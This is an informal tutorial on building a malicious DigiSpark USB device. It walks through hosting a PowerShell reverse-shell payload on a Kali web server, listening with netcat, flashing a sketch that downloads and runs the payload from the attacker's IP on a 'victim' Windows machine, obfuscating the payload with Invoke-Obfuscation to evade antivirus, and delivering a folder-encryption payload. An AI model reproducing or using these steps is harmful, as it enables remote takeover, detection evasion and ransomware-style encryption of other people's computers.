Once you have the usb.

Download Arduino IDE.

https://github.com/LilyGO/DigiSpark-ATtiny85-driver-install download the drivers

https://digistump.com/wiki/digispark/tutorials/connecting follow this to connect libraries. Try the example at the end to ensure that the usb is working.

Reverse shell

We need one Linux kali machine and the Arduino IDE to program our usb. The Linux machine should be under the same ips as the victim machine. For my case, the ip for windows is 192.168.1.40 I configured my virtual machine in the network section to be in Intel R Wi-Fi 6. Check the IP and then try to ping from your machine to the windows. If you cannot do this, try from windows to Linux. If this works you must close the windows antivirus.

1. Reserve shell

Open Kali, we need 3 cmd windows. In the first one make a folder. Name it as you want and inside create a file and paste the payload for the reverse shell. You need the ps1 file form here

https://github.com/CedArctic/DigiSpark-Scripts/tree/master/Reverse_Shell

Only the second line is our command. Copy it, uncomment it and at HOST IP ADDRESS put your ip (kali's ip). Save the file. Be careful not to leave space or a line.

In another cmd make your server.

> **sudo php -S 0.0.0.0:80 –t /directory/to/folder/of/powershellScript/ (in my case the path is /home/kali/sofia/)**
>
> Open a browser in kali and try to see your payload. http://yourip/nameofyourfile
>
> Open the third cmd and type nc –lp 4444 and let it run.

Open Arduino IDE and past inside the code for the reverse shell.
https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Reverse_Shell/Reverse_Shell.ino

Change this ('https://mywebserver/payload.ps1');\"" as follow with your server ip and the name of the file.

`http://192.168.1.50/nameofyourmalwarefile`

Press the check and the and the upload button and once you see plug in your device, plug the usb. Then it will work.

BE CAREFUL TO HAVE THE KEYBOARD IN ENGLISH USA.

PROBABLY THIS WILL NOT RUN BECAUSE THE ANTIVIRUS WILL DETECT THE MALICIOUS CONTECT LETS OBFUSCATE IT.

Take out the usb.

2. Obfuscate

1. Pwsh
2. Git clone https://github.com/danielbohannon/Invoke-Obfuscation
3. Cd Invoke-Obfuscation
4. Import-Module ./Invoke-Obfuscation.psd1
5. Invoke-Obfuscation
6. SET SCRIPTPATH /path/that/youhave/yourpayload.ps1
7. AST
8. ALL
9. 1
10. Copy the result and store it in a file inside the folder that we did in the previous part. And in INO file know set the server to this file. http://192.168.1.50/NAMEOFIOBFUSCATEDFILE

CLOSE THE Open the third cmd the nc –lp 4444 in kali and open it again.

Compile, upload, plug the usb let it run.

3. Folder encryption

Take out the usb.

I wrote the payload enc2.ps1 (change the folder path) and every time if you want to test it go and delete the personal certificate form certification manager in section personal. I stored it in the folder with the payloads and then I modified the code of the ino.

CLOSE THE Open the third cmd the nc –lp 4444 in kali and open it again.

Compile, upload and then plug it in and let it run.